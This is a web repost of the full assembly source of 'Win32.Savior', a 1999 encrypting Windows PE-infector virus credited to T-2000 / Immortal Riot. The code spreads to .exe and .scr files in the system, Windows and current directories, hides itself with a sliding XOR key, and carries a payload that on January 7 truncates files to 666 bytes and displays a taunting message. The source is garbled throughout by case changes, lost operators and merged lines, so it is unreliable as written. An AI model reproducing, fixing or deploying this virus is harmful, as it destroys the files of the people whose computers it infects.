Win32

xiaoxiao2021-03-05  25

; ================================================== ===========================

;

;

; Name: win32.savior v1.00

TYPE: Direct-action variable encrypting pe-infector.

SIZE: Around 1850 bytes.

Author: T-2000 / [Immortal Riot].

E-mail: t2000_@hotmail.com

Date: february 1999.

PayLoad: File-Trashing on January 7th.

;

;

Capabilities:

;

- TRUE WIN32-Compatible (WIN-95 / NT).

- Variable Encrypting (32-bit key).

- Traps Possible Errors with a SEH.

- Infects Files in Windoze System-Directory.

. - DESTRUCTIVE PAYLOAD.

;

;

As for now only the host's import-table is being search for getModule-

; Handlea / W and getProcaddress, this Method Is Fully Win32-Compatible Though

Won't work if the masterioned API's aren't Imported. this Virus Has Been

Succesfully Tested Both Under Windows-95 and Windows-NT Version 4.0.

;

;

; Dedicated to a Painful Death ON January 7th 1999, You Know Who you are ...

;

;

Assemble with: Tasm32 Savior.asm / m / ml

; TLINK32 Savior.obj import32.lib

Pewrsec Savior.exe

;

; ================================================== ===================================. 386

.MODEL FLAT

.Code

ORG 0

Extrn getModuleHandlea: Proc; Hosts Need to Import these for

EXTRN GETPROCADDRESS: PROC; The Virus to Be Able To Spread.

EXTRN EXITPROCESS: Proc; ONLY Used by the carrier.

Debug_mode = 0; if true, no design Occurs

And only dum?. * is infected.

; - Switch Off For Distribution! -

Virus_size EQU (Virus_END-STAR)

Virus_size_mem EQU (Virus_end_mem-start)

MAX_INFECT EQU 3

Min_size_infect EQU 4096

Marker_file EQU 666H

Start:

Push Eax; Reserve Room for EIP.

Pushfd; Save Registers & Flags.

Pushhad

Call get_delta; get ot garization in memory.

Anti_Moron DB 9ah; Overlapping Code, Anti BP.

GET_DELTA: POP EBP

Sub EBP, (Anti_Moron-Start)

MOV EAX, 0

INIT_KEY = DWORD PTR $ -4

MOV EBX, 0

INIT_SLIDE = DWORD PTR $ -4

MOV ECX, (virus_end-encrypted) / 4

Push EBP

Decrypt_dword: xor [EBP (Virus_SIZE-4)], EAX

SUB EBP, 4

Add Eax, EBX; Slide Decryption-Key.

RCL EBX, 1; Slide Key-Slider.

Loop Decrypt_dword

POP EBP

IF ($ -start) MOD 4) GT 0

DB (4 - ($ -start) MOD 4)) DUP (90h)

ENDIF

Encrypted: MOV EAX, EBP

SUB EAX, 1000H; Calculate Image-Base.

Base_displ = DWORD PTR $ -4

Lea EBX, [EAX ((Carrier-Start) 1000H)]]

Old_eip_rva = dword PTR $ -4

MOV [ESP (9 * 4)], EBX; SET Address Host In Stack.

Call setup_seh; push seh-address on stack.

IF debug_mode

Mov Eax, 1; Unhandled Exception.Ret

Else

% OUT [Warning]: non-debug-mode !!

ENDIF

MOV ESP, [ESP 8]; Restore Original Stack.

JMP Restore_seh; Terminate Program-Flow.

Setup_seh: Push DWORD PTR FS: [ECX]; Save Original SEH-POINTER.

MOV FS: [ECX], ESP; SET OUR OWN SEH.

MOV EBX, [EAX 3CH]; Pe-header.

Add Ebx, EAX

MOV EBX, [EBX 128]; import-directory.

Add Ebx, EAX

Find_k32_dir: CMP [EBX], ECX; Reached End of Imports?

JZ JMP_REST_SEH

MOV EDI, [EBX (3 * 4)]; Get Module-Name.

Add Edi, EAX

CMP [EDI], 'NREK'; Is IT Kernel32.dll?

JNE GO_NEXT_DIR

CMP [EDI 4], '23LE'

JE Search_entries

Go_next_dir: Add EBX, (5 * 4); Go to Next Directory.

JMP FIND_K32_DIR

Search_entries: Push EBX

MOV EBX, [EBX]; Array Of RVA's.

Add Ebx, EAX

XOR EDX, EDX

MOV ESI, 1; Initialize 'Not Found'.

Mov EDI, ESI

Search_import: MOV ECX, [EBX EDX]; Reached End Of Array?

JECXZ END_IMPORTS

Add ECX, EAX; Add Base.

LOOK_4_GETMOD: PUSHAD; getModuleHandlea / W?

Lea ESI, [ECX 2]

Lea EDI, [EBP (Name_GetModuleHandlex-start)]

MOV ECX, 15

CLD

REPE CMPSB

JNE EXIT_SEARCH_GM

Pushf

MOV Al, (GET_MODULE-Unicode_Switch) - 1

CMP BYTE PTR [ESI], 'W'; Unicode Type?

JNE Store_Switch_W

XOR Al, Al

Store_Switch_W: MOV [EBP (Unicode_Switch-Start)], Al

POPF

EXIT_SEARCH_GM: POPAD

JNE LOOK_4_GETPROC

MOV ESI, EDX

LOOK_4_GETPROC: PUSHAD; getProcAddress?

Lea ESI, [ECX 2]

Lea EDI, [EBP (Name_GetProcaddress-start)]

MOV ECX, 15

REPE CMPSB

Popad

JNE GO_NEXT_ENTRY

MOV EDI, EDX

GO_NEXT_ENTRY: Add EDX, 4; Next RVA in the array.

JMP Search_import

END_IMPORTS: POP EBX

MOV EBX, [EBX (4 * 4)]

Add Ebx, EAX

Store Assumed getModuleHandle (A / W) -Address.

Push DWORD PTR [EBX ESI] POP ​​DWORD PTR [EBP (getModuleHandlex-start)]

Store Assumed GetProcaddress (A / W) -Address.

Push DWORD PTR [EBX EDI]

POP DWORD PTR [EBP (getProcaddressx-start)]

Dec ESI; getModuleHandle (A / W) FOUND?

JZ JMP_REST_SEH

Dec Edi; getProcadDress (A / W) Found?

JNZ Init_API

JMP_REST_SEH: JMP Restore_seh; Abort All.

Init_api: Lea ESI, [EBP (API_NAMES-START)]

Lea EDI, [EBP (API_ADDRESS-START)]

Setup_module: Push ESI

JMP $; use ANSI or Unicode?

Unicode_Switch = byte PTR $ -1

Add ESI, 9; Use UNICode Equivalent.

GET_MODULE: PUSH ESI

Call [EBP (getModuleHandlex-Start)]

POP ESI

OR EAX, Eax; Terminate When Not Found.

JZ JMP_REST_SEH

XCHG EBX, EAX; Save Module-Base In EBX.

Add ESI, (3 * 9); start named functions.

LOOP_GET_API: Push ESI; Retrieve API-Address of

Push EBX; Named function.

Call [EBP (getProcaddressx-start)]

CLD; Store API-Address.

Stosd

XCHG ECX, EAX; API NOT FOUND?

JECXZ JMP_REST_SEH

Find_next_api: lodsb

OR Al, Al; FOUND END OF API-NAME?

JNZ Find_Next_API

CMP [ESI], AL; this is the end of module?

Jnz loop_get_api

Lodsb

CMP [ESI], Al; End of Whole Table?

JNZ setup_module

Get Local Date & Time.

LEA EBX, [EBP (local_time-start)]

Push EBX

Call [EBP (getLocalTime-start)]

MOV Al, (Read_Header-Trash_Switch) - 1

Is IS IT TIME TO SAY GoodBye?

CMP BYTE PTR [EBX.CURRENT_MONTH], 1

JNE Start_infect

CMP BYTE PTR [EBX.CURRENT_DAY], 7

JNE Start_infect

XOR Al, Al

START_INFECT: MOV [EBP (Trash_Switch-Start)], Al

Lea ESI, [EBP (Current_Directory-start)]

MOV EBX, 260

PUSH ESI

Push ESI; Retrieve Current Path.

Push EBX

Call [EBP (getcurrentdirectorya-start)]

Add ESI, EBX

PUSH ESI

Push Ebx; Retrieve Windoze-Directory.push ESI

Call [EBP (getWindowsDirectorya-start)]

Add ESI, EBX

PUSH ESI

Push Ebx; Retrieve System-Directory.

PUSH ESI

Call [EBP (getSystemDirectorya-start)]

Infect Files in System-Directory.

Call [EBP (SetCurrentDirectorya-start)]

Call infect_directory

Infect Files in Windoze-Directory.

Call [EBP (SetCurrentDirectorya-start)]

Call infect_directory

Infect Files in Current-Directory.

Call [EBP (SetCurrentDirectorya-start)]

Call infect_directory

DISPLAY THE you-are-fucked-window?

CMP BYTE PTR [EBP (trash_switch-start)], 0

Jnz restore_seh

Display an OK-Box with a message.

PUSH 0

Lea Eax, [EBP (PayLoad_title-start)]

Push EAX

Lea Eax, [EBP (PayLoad_Text-Start)]

Push EAX

PUSH 0

Call [EBP (MessageBoxa-start)]

RESTORE_SEH: POP DWORD PTR FS: [0]; restore Original SEH.

POP EAX; trash handler-address.

EXECUTE_HOST: POPAD; Restore Registers & Flags.

POPFD

Ret; returnit.

PayLoad_title DB '....., 0; Silence Means Death ...

PayLoad_text db 'a hum4n g0d tha7 WAS Man-M4de', 0DH

DB 'Wh3re 1S Y0ur Savior N0W ?!', 0

Infect_directory:

Pushhad

Clear Infection-Counter.

AND Byte PTR [EBP (Infect_Counter-start)], 0

Lea Eax, [EBP (Search_Record-start)]

Push EAX

Lea Eax, [EBP (Search_Mask-start)]

Push EAX

Call [EBP (Findfirstfilea-start)]

Mov ESI, ESI; Save Search-Handle In ESI.

INC EAX

JZ EXIT_INF_DIR

Infect_loop: Pushad

Lea EBX, [EBP (Search_Record.Find_File_name-start)]

CMP BYTE PTR [EBP (trash_switch-start)], 0

JZ EXTENSION_OK

MOV ESI, EBX

Find_end_name: lodsb; get next byte of filename.

OR Al, Al; Found end of the asciiz?

JNZ FIND_END_NAME

MOV EAX, [ESI-5]; Get Extension DWORD.

Call Upcase_EAX

CMP EAX, 'EXE'; Standard .exe-file?

JE EXTENSION_OK

CMP EAX, 'RCS.'; Screensaver?

JNE EXIT_INFECT

EXTENSION_OK: PUSH EBX

Call [EBP (getFileAttributesa-start)]

CMP EAX, -1; Error Occurred?

JE EXIT_INFECT

Mov ESI, EAX

And Al, NOT 00000001B; Get Rid of Readonly-Flag.

Push EAX

Push EBX

Call [EBP (SetFileAttributesa-start)]

DEC EAX; Error Occurred?

JNZ EXIT_INFECT

Push ESI; PUSH FileName Attributes

Push ebx; for restore_attr.

Push Eax; Open Candidate-file.

Push EAX

Push 3; Open existing.

Push EAX

Push EAX

PUSH 80000000H OR 40000000H; Read / Write-Access.

Push EBX

Call [EBP (CreateFilea-start)]

MOV [EBP (file_handle-start)], EAX

Mov ESI, EAX

INC EAX; ERROR OCCURRED?

JZ Restore_attr

Push ESI; for CloseHandle.

Push 0; Get Candidate's FileSize.

PUSH ESI

Call [EBP (getFileSize-start)]

CMP EAX, min_size_infect; File Too Small?

JB Close_Handle

Lea EAX, [EBP (Time_Last_Write-Start]]

Push Eax; Get Filedates & Times.

Sub Eax, 8

Push EAX

Sub Eax, 8

Push EAX

PUSH ESI

Call [EBP (getfiletime-start)]

JMP $

TRASH_SWITCH = BYTE PTR $ -1

IF debug_mode

JMP Close_Handle

ENDIF

TRASH FILE with a Part of the Virus.

MOV ECX, 666

MOV EDX, EBP

Call write_file

Truncate file at 666 bytes.

PUSH ESI

Call [EBP (STENDOFFILE-START)]

JMP Restore_Stamp

Read The MZ-HEADER.

Read_Header: Lea EBX, [EBP (Header-Start)]

MOV ECX, 40H

Call read_file

JNZ Close_Handle

CMP [EBX.EXE_MARK], 'ZM'; IT Must Be a true exe-file.

JNE CLOSE_HANDLE

CMP [EBX.RELOC_TABLE], 40H; Contains a new eve-header?

JB Close_Handle

MOV ESI, [EBX 3CH]

Mov Eax, ESI; Seek to PE-header.call seek_file

JZ Close_Handle

MOV ECX, 92; Read-in The PE-HEADER.

Call read_file

JNZ Close_Handle

CMP [EBX.PE_MARK], 'EP'; Verify It's A PE-HEADER.

JNE CLOSE_HANDLE

PROGRAM IS EXECUTABLE?

Test Byte Ptr [Ebx.pe_flags], 00000010B

JZ Close_Handle

Don't Infect DLL'S.

Test Byte Ptr [Ebx.pe_flags 1], 00100000B

JNZ Close_Handle

CMP [EBX.CPU_TYPE], 14CH; MUST BE A 386 File.

JNE CLOSE_HANDLE

Is IS IT ALREADY INFECTED?

CMP [EBX.CHECKSUM], Marker_File

JE close_handle

PUSH ESI

Calculate Position of the last section-header.

Movzx eax, [ebx.number_of_sections]]

Dec AX

MOV ECX, 40

Mul ECX

Calculate size of pe-header.

MOV DX, [ebx.nt_header_size]

Add DX, 24

LEA ECX, [ESI EDX]; Start Section-Headers.

Add Eax, ECX; EAX = Last Section-HEADER.

Push EAX

Seek to last section-header.

Call seek_file

Lea ESI, [EBP (last_section_header-start)]

Push EBX

MOV EBX, ESI; Read last Section-HEADER.

MOV ECX, 40

Call read_file

POP EBX

MOV EAX, [ESI.SECTION_RVA]

Add Eax, [ESI.SECTION_PHYSICAL_SIZE]

MOV [EBP (Base_Displ-start)], EAX

XCHG [EBX.EIP_RVA], EAX

MOV [EBP (Old_eip_rva-start)], EAX

Seek to the end of the section.

MOV EAX, [ESI.SECTION_PHYSICAL_OFFSET]

Add Eax, [ESI.SECTION_PHYSICAL_SIZE]

Call seek_file

MOV EAX, [ESI.SECTION_PHYSICAL_SIZE]

Add Eax, Virus_size

MOV ECX, [ebx.file_align]

Call align_eax

MOV [esi.section_physical_size], EAX

XCHG EDI, EAX; Save Physical-Size In EDI.

Mov Eax, [ESI.SECTION_VIRTUAL_SIZE]

Add Eax, Virus_Size_Mem - 1

MOV ECX, [ebx.object_align]

CALC_MEM_SIZE: INC EAX

Call align_eax

CMP EAX, EDI; Virtual-Size May Not Be

JB CALC_MEM_SIZE; Smaller Than Physical-size.

MOV [ESI.SECTION_VIRTUAL_SIZE], ESIDD EAX, [ESI.SECTION_RVA]

MOV ECX, [ebx.object_align]

Call align_eax

MOV [ebx.image_size], EAX

Set section, executable, code.

OR [ESI.SECTION_FLAGS], 11100000000000000000000000100000B

Lea EDI, [EBP (Buffer-Start)

Pushhad

Get a Random Slide-key.

Call [EBP (GettickCount-start)]

MOV [EBP (Init_SLide-start)], EAX

XCHG EBX, EAX

Get a random encryption-key.

Call [EBP (GettickCount-start)]

MOV [EBP (Init_Key-start)], EAX

MOV ESI, EBP

MOV ECX, (Virus_Size / 2)

CLD

REP MOVSW; Movsd Takes One More Byte,

Gotta Be Compact You KNOW.

MOV ECX, (virus_end-encrypted) / 4

Encrypt_dword: xor [EDI-4], EAX

SUB EDI, 4

Add Eax, EBX

RCL EBX, 1

Loop encrypt_dword

Popad

MOV EDX, EDI; Write VirusBody to End

MOV ECX, Virus_Size; of the last section.

Call write_file

POP EAX; Offset Last Object-HEADER.

Call seek_file

Write Updated Section-Header Back to File.

MOV ECX, 40

Lea Edx, [EBP (last_section_header-start)]

Call write_file

Seek to end of file.

Push 2

Push EAX

Push EAX

Push DWORD PTR [EBP (file_handle-start)]

Call [EBP (SetFilePointer-Start)]

XOR EDX, EDX; ZERO-PAD The Infected File.

Mov edi, [ebx.file_align]

Div EDI

OR EDX, EDX; File Is Already Aligned?

JZ Mark_Inf_File

Sub EDI, EDX; Howit Bytes To PAD?

ZERO_PAD: MOV ECX, 1; Write a Padding-byte.

Lea Edx, [EBP (ZERO_TOLERANCE-START)]

Call write_file

Dec EDI; We've Did 'EM All?

JNZ ZERO_PAD

Mark_INF_FILE: MOV [EBX.CHECKSUM], Marker_File

Pop Eax; Seek to Start of Pe-header.

Call seek_file

MOV ECX, 92; Write Updated pe-header.

MOV EDX, EBX

Call write_file

Increment Our Infection-Counter.

INC BYTE PTR [EBP (Infect_Counter-Start); Restore Original File-Dates & Times.

RESTORE_STAMP: Lea Eax, [EBP (Time_Last_Write-Start]

Push EAX

Sub Eax, 8

Push EAX

Sub Eax, 8

Push EAX

Push DWORD PTR [EBP (file_handle-start)]

Call [EBP (SetFileTime-start)]

Close_Handle: Call [EBP (CloseHandle-Start)]

Restore_attr: Call [EBP (SetFileAttributesa-Start)]

EXIT_INFECT: POPAD

WE'VE DID ENOUGH INFECTIONS?

CMP BYTE PTR [EBP (Infect_Counter-Start), Max_INFECT

JNB Close_Find

Find Another file.

Lea Eax, [EBP (Search_Record-start)]

Push EAX

PUSH ESI

Call [EBP (FindNextFilea-start)]

Dec EAX; Continue if Search Went OK.

JZ Infect_Loop

Close_find: Push ESI; Close Search-Handle.

Call [EBP (FindClose-start)]

EXIT_INF_DIR: POPAD

RET

EAX = OFFSET.

Returns Zf if Error.

Seek_file:

PUSH 0

PUSH 0

Push EAX

Push DWORD PTR [EBP (file_handle-start)]

Call [EBP (SetFilePointer-Start)]

INC EAX

RET

Ebx = buffer.

ECX = bytes to read.

Returns Zf if Successful.

Read_file:

PUSH 0

Lea Eax, [EBP (Bytes_Read-start)]

Push EAX

Push ECX

Push EBX

Push DWORD PTR [EBP (file_handle-start)]

Call [EBP (ReadFile-Start)]

Dec EAX

RET

ECX = Amount of Bytes.

Edx = Buffer.

Returns Zf if Successful.

WRITE_FILE:

PUSH 0

Lea Eax, [EBP (Bytes_Read-start)]

Push EAX

Push ECX

Push Edx

Push 12345678H

FILE_HANDE = DWORD PTR $ -4

Call [EBP (Writefile-start)]

Dec EAX

RET

Align_EAX:

XOR EDX, EDX

Div ECX

OR EDX, EDX; Even Division?

JZ NO_ROUND; the no need to round-up.

Inc Eax; Round-Up.

NO_ROUND: MUL ECX

RET

Copyright db '(c) 1999 T-2000 / Immortal Riot.', 0

Upcase_eax:

ROL EAX, 8

Call Upcase_Alrol Eax, 8

Call Upcase_al

ROL EAX, 8

Call Upcase_al

ROL EAX, 8

Upcase_al: CMP Al, 'A'

JB EXIT_UPCASE_AL

CMP Al, 'Z'

JA EXIT_UPCASE_AL

SUB Al, 'A' - 'A'

EXIT_UPCASE_AL: RET

IF debug_mode

Search_mask db 'DUM? *', 0

Else

Search_mask db '*. *', 0

ENDIF

API_NAMES:

DB 'Kernel32', 0

DW 'K', 'E', 'R', 'N', 'E', 'L', '3', '2', 0

DB 'CreateFilea', 0

DB 'CloseHandle', 0

DB 'setFilePointer', 0

DB 'Readfile', 0

DB 'Writefile', 0

DB 'getFilesize', 0

DB 'FindfirstFilea', 0

DB 'FINDNEXTFILEA', 0

DB 'FindClose', 0

DB 'getfiletime', 0

DB 'setFiletime', 0

DB 'getFileAttributesa', 0

DB 'setFileAttributesa', 0

DB 'getLocalTime', 0

DB 'STENDOFFILE', 0

DB 'getcurrentdirectorya', 0

DB 'setcurrentdirectorya', 0

DB 'getWindowsDirectorya', 0

DB 'getSystemDirectorya', 0

DB 'gettickcount', 0

DB 0

DB 'USER32', 0, 0, 0

DW 'u', 's', 'e', ​​'r', '3', '2', 0, 0, 0

DB 'MessageBoxa', 0

DB 0

ZERO_TOLERANCE DB 0

Name_GetProcaddress DB 'getProcaddress', 0

Name_getmoduleHandlex DB 'getModuleHandle'

IF ($ -start) MOD 4) GT 0

DB (4 - ($ -start) MOD 4)) DUP (0)

ENDIF

Virus_end:

API_ADDRESSES:

; === API's from kernel32.dll. ===

CreateFilea DD 0

CloseHandle DD 0

SetFilePointer DD 0

ReadFile DD 0

Writefile DD 0

GetFileSize DD 0

Findfirstfilea DD 0

FindNextFilea DD 0

FindClose DD 0

GetFiletime DD 0

SetFileTime DD 0GetFileAttributesa DD 0

SetFileAttributesa DD 0

GetLocalTime DD 0

STENDOFFILE DD 0

GetCurrentDirectorya DD 0

SetCurrentDirectorya DD 0

GetWindowsDirectorya DD 0

GetsystemDirectorya DD 0

GetTickCount DD 0

; === API's from user32.dll. ===

Messageboxa DD 0

GetModuleHandlex DD 0; THESE Are Being Fetched

GetProcaddressx DD 0; from the host's import.

Local_time DW 8 DUP (0)

Time_creation DD 0, 0

Time_last_access DD 0, 0

Time_last_write DD 0, 0

Infect_counter db 0

BYTES_READ DD 0

HEADER DB 92 DUP (0)

Last_section_header DB 40 DUP (0)

Search_Record DB 318 DUP (0)

Current_directory DB 260 DUP (0)

Windows_directory db 260 dup (0)

SYSTEM_DIRECTORY DB 260 DUP (0)

Buffer DB Virus_Size DUP (0)

Virus_end_mem:

Carrier:

Push 0; Terminate Current Process.

Call EXITPROCESS

; ---------------------- Some Used Structures ------------------------ ------------

EXE_HEADER STRUC

EXE_MARK DW 0; MZ-Marker (MZ Or ZM).

Image_mod_512 dw 0

Image_512_pages dw 0

Reloc_Items DW 0

HEADER_SIZE_MEM DW 0

Min_size_mem dw 0

MAX_SIZE_MEM DW 0

Program_ss dw 0

Program_sp DW 0

MZ_CHECKSUM DW 0

Program_ip dw 0

Program_cs dw 0

Reloc_table dw 0

EXE_HEADER ENDS

PE_HEADER STRUC

PE_MARK DD 0; PE-MARKER (PE / 0/0).

CPU_TYPE DW 0; Minimal CPU Required.

Number_of_sections dw 0; Number of Sections in PE.

DD 0

RESERVED_1 DD 0

DD 0

NT_HEADER_SIZE DW 0

PE_FLAGS DW 0

DD 4 DUP (0)

EIP_RVA DD 0

DD 2 DUP (0)

Image_base dd 0

Object_align DD 0

File_Align DD 0

DW 0, 0

DW 0, 0

DW 0, 0

DD 0

Image_size DD 0

DD 0

Checksum DD 0

PE_HEADER ENDS

Section_Header Struc

Section_name DB 8 DUP (0); Zero-Padded Section-Name.

Section_virtual_size DD 0; Memory-Size of Section.

Section_rva dd 0; start section in memory.section_physical_size dd 0; section-size in file.

Section_physical_offset DD 0; section file-offset.

Section_reserved_1 DD 0; NOT USED for Executables.

Section_reserved_2 DD 0; NOT USED for Executables.

Section_reserved_3 DD 0; NOT USED for Executables.

Section_flags DD 0; Flags of The Section.

Section_Header Ends

Find_first_next_win32 struc

File_attributes DD 0

Creation_time DD 0, 0

Last_accessed_time DD 0, 0

Last_written_time DD 0, 0

Find_file_size_high dd 0

Find_file_size_low dd 0

Find_reserved_1 DD 0

Find_reserved_2 DD 0

Find_file_name db 260 dup (0)

Find_dos_file_name dB 14 DUP (0)

Find_first_next_win32 Ends

Date_time Struc

Current_Year DW 0

Current_Month DW 0

Current_day_of_week dw 0

Current_day dw 0

Current_Hour DW 0

Current_minute dw 0

Current_second dw 0

Current_MilliseCond DW 0

Date_time Ends

End Start

转载请注明原文地址:https://www.9cbs.com/read-37089.html

New Post(0)